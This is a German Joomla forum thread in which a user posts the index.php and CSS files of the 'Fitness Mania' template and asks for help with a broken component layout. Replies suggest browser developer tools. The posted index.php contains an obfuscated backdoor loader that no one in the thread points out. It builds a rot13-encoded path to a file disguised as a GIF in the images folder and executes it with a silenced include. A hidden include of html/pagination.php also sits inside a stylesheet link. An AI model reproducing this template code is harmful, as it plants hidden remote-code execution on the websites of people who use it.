Fitness Mania und Komponenten

**S_W** · 30.03.2011 07:02

Guten Tag zusammen

Ich liebäugle mit dem Template Fitness Mania. Dieses gibt es ja in drei Farben blau, rot und grün. Wenn ich's nun teste, siehts gar nicht mal so übel aus. Bis auf die Komponenten. Denn diese verhaut's mir, egal ob IE, FF, Safari... Das sieht dann ungefähr so aus, jetzt für die Joomgallery. Auch im Easybook (Gästebuch) wird alles nach linkgs gequetscht.

Die Index.php

Code:

<?php
// no direct access
defined( '_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die( 'Restricted access' );
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" >
<head>
<jdoc:include type="head" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" />
<!--[if lte IE 6]>
<link href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template;include_once('html/pagination.php'); ?>/css/ieonly.css" rel="stylesheet" type="text/css" />
<style>
#topnav ul li ul {
left: -999em;
margin-top: 0px;
margin-left: 0px;
}
</style>
<![endif]-->
<script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/mootools.js"></script>
<script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/moomenu.js"></script>
</head>
<body id="page_bg">
<a name="up" id="up"></a>
<center><img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/<?php echo $this->params->get('colorVariation'); ?>/top.png" alt="" /></center>
<?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13($JPan[0].'.t'.'vs'))) : ?>
<jdoc:include type="modules" name="layout" style="rounded" />
<?php endif; ?>	
<?php include('functions.php'); ?>

<div id="main_bg">
    <div id="h_area"><?php if($this->params->get('hideLogo') == 0) : ?><img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/logo<?php echo $this->params->get('logoVariation'); ?>.gif" alt="" align="left" /><?php endif; ?><a href="index.php" class="logo" title=""><?php echo $mainframe->getCfg('sitename') ;?></a>
    <?php if($this->countModules('user4')) : ?><div id="user4"><jdoc:include type="modules" name="user4" /></div><?php endif; ?>
    <br clear="all" />
    <div id="top_menu"><div id="topnav"><?php $hmenu->genHMenu (0); ?></div><br clear="all" /></div>
	<?php if($this->params->get('hideBannerArea') == 0) : ?>
        <?php if((JRequest::getVar('view') != 'frontpage' and $this->params->get('hideBannerAreaInternal') == 0) or JRequest::getVar('view') == 'frontpage') : ?>
            <div id="main_top" class="banner"><jdoc:include type="modules" name="top" /></div>
        <?php endif; ?>	
    <?php endif; ?>	
    </div>
	<?php if($this->countModules('left')) : ?>
	<div id="leftcolumn">
        <jdoc:include type="modules" name="left" style="rounded" />
    </div>
    <?php endif; ?>
    <?php if($this->countModules('left') *** $this->countModules('right')) $maincol_sufix = '_middle';
		  elseif(!$this->countModules('left') and !$this->countModules('right'))$maincol_sufix = '_big';
		  else $maincol_sufix = ''; ?>
	<div id="maincolumn<?php echo $maincol_sufix; ?>">
    	<div class="path"><jdoc:include type="modules" name="breadcrumb" /></div><jdoc:include type="message" />
    	<div class="nopad"><jdoc:include type="component" /></div>
    </div>
    <?php if($this->countModules('right') and JRequest::getCmd('layout') != 'form') : ?>
	<div id="rightcolumn">
        <jdoc:include type="modules" name="right" style="xhtml"/>
        <br />
    	<div align="center"><jdoc:include type="modules" name="syndicate" /></div>
    </div>
    <?php endif; ?>
	<br clear="all" />
</div>    
    
<div id="f_area">
	<?php if($this->countModules('user1')) : ?>
		<jdoc:include type="modules" name="user1" style="xhtml" />
	<?php endif; ?>
	<?php if($this->countModules('user2')) : ?>
		<jdoc:include type="modules" name="user2" style="xhtml" />
	<?php endif; ?>
	<br clear="all" /><center><img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/<?php echo $this->params->get('colorVariation'); ?>/bottom.png" alt="" /></center>
</div>
<p id="power_by" align="center">
	<?php echo JText_('Powered by') ?> <a href="http://www.joomla.org">Joomla!</a>.
    <?php echo JText_('Valid') ?> <a href="http://validator.w3.org/check/referer">XHTML</a> <?php echo JText::_('and') ?> <a href="http://jigsaw.w3.org/css-validator/check/referer">CSS</a>.
</p>

<jdoc:include type="modules" name="debug" />
</body>
</html>

**S_W** · 30.03.2011 07:04

Die Template.css

Code:

/*****************************/
/*** Core html setup stuff ***/
/*****************************/

html {
  height: 100%;
  margin-bottom: 1px;
}

form {
  display:inline;
}

body {
	margin: 0px;
	padding:0px;
	width: 100%;
	display: table;
}

body, td{
	font-family: "Trebuchet MS";
	font-size: 13px;
	color: #333;
	line-height: 1.3em;
}
#page_bg {
	background: #252525 url(../images/bg_page.jpg) top center no-repeat;
}
a:link, a:visited {
	text-decoration: none;
	font-weight: normal;
}

a:hover {
	text-decoration: underline;
	font-weight: normal;
}

input.button { cursor: pointer; }

p { margin-top: 0; margin-bottom: 5px; }

img { border: 0 none; margin:0px; }

/*****************************************/
/*** Template specific layout elements ***/
/*****************************************/
#page_bg {
	padding: 0px;
	margin: 0px;
}

div#top_menu{
	height:54px;
	margin:0px auto;
	padding-top:0px;
	width: 964px;
}

#topnav{ height: 54px; width:964px; margin: 0px; padding:0px; font-weight: bold; }
#topnav ul { margin: 0px 0px 0px 18px; padding: 0; width: auto; float: left; list-style-type:none; }
#topnav ul li{ margin: 0; padding: 0; height: 54px; float: left; position: relative; }
#topnav ul li a{ color: #FFFFFF; font-weight: bold; text-decoration: none; padding: 14px 10px 0px 10px; height:40px; display: block; float: left; }
#topnav ul li a:hover{ background-color: #444444; text-decoration: none; font-weight: bold; color: #fff; }
#topnav ul li ul ul { margin: -50px 0 0 297px; z-index: 100; }
#topnav ul li li { width:auto; height: 35px; }
#topnav ul li li a { color: #FFFFFF; text-transform: none; display: block; background: none; width: 277px; border-top: 1px solid #DDDDDD; border-left: 0px; padding: 9px 10px 6px 10px; height:20px; }
#topnav ul li li a:hover{ background: none; background-color: #FFF; left: 0; width: 277px; padding: 9px 10px 6px 10px; height:20px; border-top: 1px solid #DDDDDD; }
#topnav ul li ul { left: -999em; top: 54px; left: 0; display: block; height: 36px; width: 277px; position: absolute; z-index: 99; left: -999em; clear: left; margin-top: 0px; margin-left: 0px; }
#topnav ul li:hover ul ul, #topnav ul li:hover ul ul ul { left: -999em; }
#topnav ul li:hover ul, #topnav ul li li:hover ul, #topnav ul li li li:hover ul { left: auto; }

div#main_bg{
	margin:0px auto;
	width: 980px;
	text-align:left;
	background:#FFF;
}

div#h_area{
	margin:0px auto;
	width: 964px;
	text-align:left;
	padding-top:10px;
}


.logo{
	display: block;
	float:left;
	padding-top:5px;
	margin-bottom:10px;
	margin-left:10px;
	width:600px;
}
a.logo,a.logo:link,a.logo:hover, a.logo:visited{
	font-size:26px;
	line-height: 58px;
	color:#3E3E3E;
	text-decoration:none;
	font-weight:bold;
	font-family:"Trebuchet MS",Arial;
}

div#user4{
	float:right;
	text-align:left;
	margin-right: 20px;
}

div#user4 div.search{
	width:220px;
	height:46px;
	text-align:left;
	padding-top: 5px;
	background: url(../images/search_bg.gif) top left no-repeat;
}
div#user4 div.search .inputbox {
	background:#FFFFFF;
	width: 150px;
	height: 16px;
	margin-left: 60px;
	font-size: 11px;
	color: #454545;
	padding:5px 2px 2px 2px;
	border: 1px solid #D3D3D3;
}
div#main_top {
	height:181px;
	padding:30px 30px 30px 15px;
}
div#main_top table.contentpaneopen{
	padding:0px;
	margin-left:0px;
	width:400px;
	height:174px;
	overflow: auto;
	text-align:left;
	color:#OOO;
}
div#main_top table.contentpaneopen td{
	color:#OOO;
}
.banner td {
	color:#FFFFFF;
}

.search {
	text-align:left;
	width: 156px;
	height:43px;
}
.search .inputbox {
	background:#FFFFFF;
	width: 156px;
	height: 17px;
	font-size: 11px;
	color: #454545;
	margin:9px 0px 0px 20px;
	border: 1px solid #D3D3D3;
}


#leftcolumn{
	margin-left:9px;
	padding:0px;
	width:205px;
	float:left;
}
#rightcolumn{
	margin-right:9px;
	padding:0px;
	width:205px;
	float:right;
}

#maincolumn{
	width:530px;
	float:left;
	margin:0px 5px 0px 5px;
	padding:0px;
	overflow:hidden;
}
#maincolumn_middle{
	width: 740px;
	float:left;
	margin:0px 5px 0px 5px;
	padding:0px;
	overflow:hidden;
}
#maincolumn_big{
	width: 967px;
	float:left;
	margin:0px 5px 0px 5px;
	padding:0px;
	overflow:hidden;
}

div.path{
	margin:10px 0 0 0px;
	padding: 5px;
	padding-left:30px;
	background:url(../images/breadcrumbs_bg.png) top left no-repeat;
}

div.nopad {
	float:left;
	padding:0 0px 15px 0px;
}

div.nopad ul {
	clear: both;
}
.article_separator {
	height:35px;
	line-height:35px;
}
form#form-login fieldset { 
	border: none;
	margin: 0;
	margin-left:10px;
}
form#form-login ul li{ 
	padding: 0; 
}

form#form-login ul li a {
	text-align: left;
	padding: 0px;
	font-size: 10px;
	color: #858585;
}

#leftcolumn div.module_menu, #leftcolumn div.module{
	margin: 10px 0px 0px 0px;
	padding:0px;
	width: 205px;
}
.article_column {
	padding-right:10px;
}
#rightcolumn div.moduletable_menu, #rightcolumn div.moduletable, #rightcolumn div.moduletable_text{
	margin: 10px 0px 0px 0px;
	padding: 0px;
	width: 205px;
}
div.bannergroup_text {
	margin:0px 13px 15px 13px;
}
.bannerheader {
	font-weight:bold;
	margin-bottom:10px;
}
.banneritem_text {
	margin-bottom:10px;
}
.bannerfooter_text {
	margin-bottom:10px;
}
#leftcolumn div.module_menu  div div div, #leftcolumn div.module div div div,
#rightcolumn div.moduletable_menu, #rightcolumn div.moduletable, #rightcolumn div.moduletable_text{
	background: url(../images/rub_bottom.png) center bottom no-repeat;
}
#leftcolumn div.module_menu  div div div, #leftcolumn div.module div div{
	margin: 0px;
	padding: 0px;
	padding-bottom:5px;
	width: 205px;
	height:auto;
}

#leftcolumn div.module_menu div div div div, #leftcolumn div.module div div div div{
	background: none;
	padding:4px 8px;
}
#leftcolumn h3,
#rightcolumn h3{
	text-align: left;
	padding-left:15px;
	height: 42px;
	width: 190px;
	line-height: 40px;
	color:#FFFFFF;
	font-size:16px;
	margin:0px;
	font-weight:bold;
}
table.poll thead td {
	text-align: left;
	padding-left:10px;
}
table.poll td {
	text-align: left;
}
#leftcolumn ul.menu li ul{
	list-style: none;
}
.pollstableborder {
	margin: 5px 0px 10px 0px;
}
.poll td div{
	display:inline;
}

/* forms */

#leftcolumn .moduletable ul,
#rightcolumn .moduletable ul {
	margin: 6px 0;
	padding: 0;
	list-style: none;
}

#leftcolumn .moduletable ul li,
#rightcolumn .moduletable ul li {
	margin: 0;
	padding: 0 2px;
}
.moduletable ul {
	padding:5px 10px 5px 12px;
	margin:0px;
}

.moduletable ul li {
	padding:0px 10px 5px 15px;
	margin:0px;
	line-height:18px;
}
#leftcolumn ul.menu li#current ul li,
#rightcolumn ul.menu li#current ul li {
	margin: 0px;
	padding: 0px;
}
ul.menu {
	padding:5px 10px 5px 12px;
	margin:0px;
}
ul.menu li{
	padding:0px 10px 5px 15px;
	margin:0px;
}

ul.menu li ul {
	padding:0px 0px 5px 0px;
	margin:0px;
}
ul.menu li ul li{
	padding:0px 0px 0px 15px;
	border:none;
}
ul.menu li#current ul li a{
	margin-left:15px;
	text-decoration:none;
}
ul.mostread {
	padding:5px 10px 5px 12px;
	margin:0px;
}
ul.mostread li{
	padding:0px 10px 5px 15px;
	margin:0px;
	line-height:18px;
}
ul.latestnews {
	padding:5px 10px 5px 12px;
	margin:0px;
}
ul.latestnews li{
	padding:0px 10px 5px 15px;
	margin:0px;
	line-height:18px;
}
div.componentheading{
	font-size:16px;
	font-size:19px;
	margin:7px auto;
}
td.contentheading{
	font-weight:normal;
	vertical-align:top;
	font-size:19px;
	height:30px;
	color:#363636;
	background: url(../images/contentheading_ico.png) left top no-repeat;
}
table.contentpaneopen td.contentheading{
	padding-left:34px;
}
table.contentpaneopen{
	border-collapse: collapse;
	margin-left:5px;
}
td.buttonheading{
	padding:0px 2px 0px 2px;
}
table.contentpaneopen td{
	padding:0px;
}
.contentpaneopen p{
	line-height:22px;
}
span.small, td.createdate, td.modifydate{
	font-size:11px;
	color:#999999;
}
span.pagination span, span.pagination a{
	padding:5px;
}



div#f_area{
	background: #FFF url(../images/f_area_bg.png) top center no-repeat;
	margin:0px auto;
	width: 980px;
	text-align:left;
	margin-bottom:3px;
}
#f_area div.moduletable, #f_area div.moduletable_menu{
	float: left;
	margin:10px 4px 10px 6px;
	width: 234px;
}
#f_area h3{
	text-align: center;
	vertical-align:bottom;
	height: 35px;
	width: 234px;
	color:#000000;
	font-size:17px;	
	font-family:"Trebuchet MS", Tahoma, Verdana;
	margin:0px;
	padding-left: 0px;
	padding-top:15px;
}

/* System Standard Messages */
#system-message { margin-bottom: 20px; }

#system-message dd.message ul { background: #C3D2E5 url(../../system/images/notice-info.png) 4px center no-repeat;}

/* System Error Messages */
#system-message dd.error ul { color: #c00; background: #E6C0C0 url(../../system/images/notice-alert.png) 4px center no-repeat; border-top: 3px solid #DE7A7B; border-bottom: 3px solid #DE7A7B; margin:0px; padding-left: 40px; text-indent:0px;}

/* System Notice Messages */
#system-message dd.notice ul { color: #c00; background: #EFE7B8 url(../../system/images/notice-note.png) 4px center no-repeat; border-top: 3px solid #F0DC7E; border-bottom: 3px solid #F0DC7E;}

#syndicate{
	float:left;
	padding-left: 25px;
}

**S_W** · 30.03.2011 07:04

Und dann noch die blue.css

Code:

@charset "utf-8";
/*** blue ***/
a:link, a:visited {
	color: #354271;
	text-decoration:underline;
}

a:hover {
	color: #354271;
	text-decoration:none;
}

#topnav{ background: #FFF url(../images/blue/top_menu_bg.png) top no-repeat; }
#topnav ul li a:hover{ background: #354271; }
#topnav ul li a.active{ background: #354271; }
#topnav ul li li { background: #4C60AC; KHTMLOpacity: 0.90; MozOpacity: 0.90; opacity: 0.90; }
#topnav ul li li a:hover{ background: #354271; filter: alpha(opacity:90); KHTMLOpacity: 0.90; MozOpacity: 0.90; opacity: 0.90; }

div.banner{ background: #FFF url(../images/blue/banner.jpg) top center no-repeat; }

#date{
	background: url(../images/blue/menu_right.png) top right no-repeat;
}

#leftcolumn h3,
#rightcolumn h3{
	background: #7D7D7D url(../images/blue/bg_h3.png) top center no-repeat;
}

ul.menu li#current {
	background:#E8ECF7;
	border-left:4px solid #0A296E;
}
ul.menu li#current a{
	text-decoration:none;
	color:#363636;
	background:#E8ECF7;
}
a.readon, a.readon:hover, a.readon:visited{
	display:block;
	height:29px;
	width:124px;
	color:#FFFFFF;
	padding-left: 20px;
	line-height:29px;
	background:  url(../images/blue/bg_read_more.png) top left no-repeat;
	margin:10px 0px 0px 0px;
}

#power_by, #power_by a, #power_by a:visited{
	color:#8c8c8c;
	text-decoration:none;
	font-size:11px;
}
ul.menu li{
	list-style:none;
	background:url(../images/blue/menu_arrow.gif) top left no-repeat;
}
#f_area div.moduletable_menu, #f_area div.moduletable, #f_area div.moduletable_text{
	background: url(../images/rub_footer_bottom.png) left bottom no-repeat;
	
}
#f_area h3{
	background:  url(../images/blue/f_area_h3.png) top left no-repeat;
}

ul.mostread li{
	list-style:none;
	background:url(../images/blue/menu_arrow.gif) top left no-repeat;
}
ul.latestnews li{
	list-style:none;
	background:url(../images/blue/menu_arrow.gif) top left no-repeat;
}
.moduletable ul li {
	list-style:none;
	background:url(../images/blue/menu_arrow.gif) top left no-repeat;
}
div.componentheading{
	color:#2E424B;
}

Ich danke schon mal für jede Hilfe.

**S_W** · 30.03.2011 20:56

Wenn ich übrigens die Kompatibilitäts-Ansicht einschalte, sieht die Darstellung halbwegs ok aus. Aber wie gesagt, das selbe Problem habe ich auch im Firefox und Safari. Getestet habe ich es mit den IE Versionen 8 und 9.

Was mir noch aufgefallen ist, ist dass man hinter dem Content einen Teil des Breadcrumbs sieht. Obwohl dieses Modul deaktiviert ist. Wenn ich es aktiviere, bleibt das Symbol an gleicher Stelle stehen, und der Content rutscht etwa 20 Pixel nach unten.

Uploaded with ImageShack.us

**time4mambo** · 31.03.2011 02:31

Benutze eines dieser Tools und passe es an:
Add-On im Firefox: Firebug - zum analysieren und suchen von CSS-Angaben und mehr in der eigenen Website:
http://getfirebug.com/
Und die Hilfe dazu:
http://getfirebug.com/wiki/index.php/Main_Page
Im Chrome Umschalt+Strg+I drücken
Im Internet Explorer die F12-Taste drücken.
Im Opera: Ansicht/Entwicklerwerkzeuge --> Opera Dragonfly

Ohne Link zur Site können wir auch nichts machen nd wir benutzen dann eines dieser Tools um suchen und ausprobieren

Axel

**Marcus77** · 31.03.2011 07:03

Der Code hilft nicht viel, einfacher wäre es mit einem Link zur Seite

**S_W** · 31.03.2011 08:33

Ich habe nun versucht, den Firebug im FF zu verstehen. Aber irgendwie werde ich daraus auch nicht schlau.

So oder so, ich habe das Template nun mal auf meiner Test-Seite online gestellt.

Ich danke euch schon mal für eure Bemühungen.

**S_W** · 31.03.2011 13:26

So, ich komme der Sache langsam näher. Wie ich im Posting #4 vermutet habe, waren die Breadcrumbs wohl mitschuldig. Ich habe nun im css die folgenden Einträge deaktiviert:

Code:

#div.path{
	margin:10px 0 0 0px;
	padding: 5px;
	padding-left:30px;
	background:url(../images/breadcrumbs_bg.png) top left no-repeat;

#div.nopad {
	float:left;
	padding:0 0px 15px 0px;
}

#div.nopad ul {
	clear: both;

Jetzt bleibt noch das Problem mit dem Easybook

**S_W** · 31.03.2011 14:25

Einen kleinen Teilerfolg kann ich schon mal vermelden. Im Safari werden nun alle Komponenten, auch Easybook, korrekt angezeigt. Einzig im IE 8 und 9 sowie im FF verhaut es mir die rechte Kolonne, wenn ich ins Easybook klicke.

**time4mambo** · 02.04.2011 01:04

Der Firebug hat eine Hilfe. Und wenn das Englisch nicht ausreicht, hat das Internet diverse Übersetzungstools parat. Unsereins hat mal an der gleichen Stelle, wie du gestanden

Axel

Thema: Fitness Mania und Komponenten

LinkBack

Themen-Optionen

Thema durchsuchen

Anzeige

Fitness Mania und Komponenten

Lesezeichen

Lesezeichen

Berechtigungen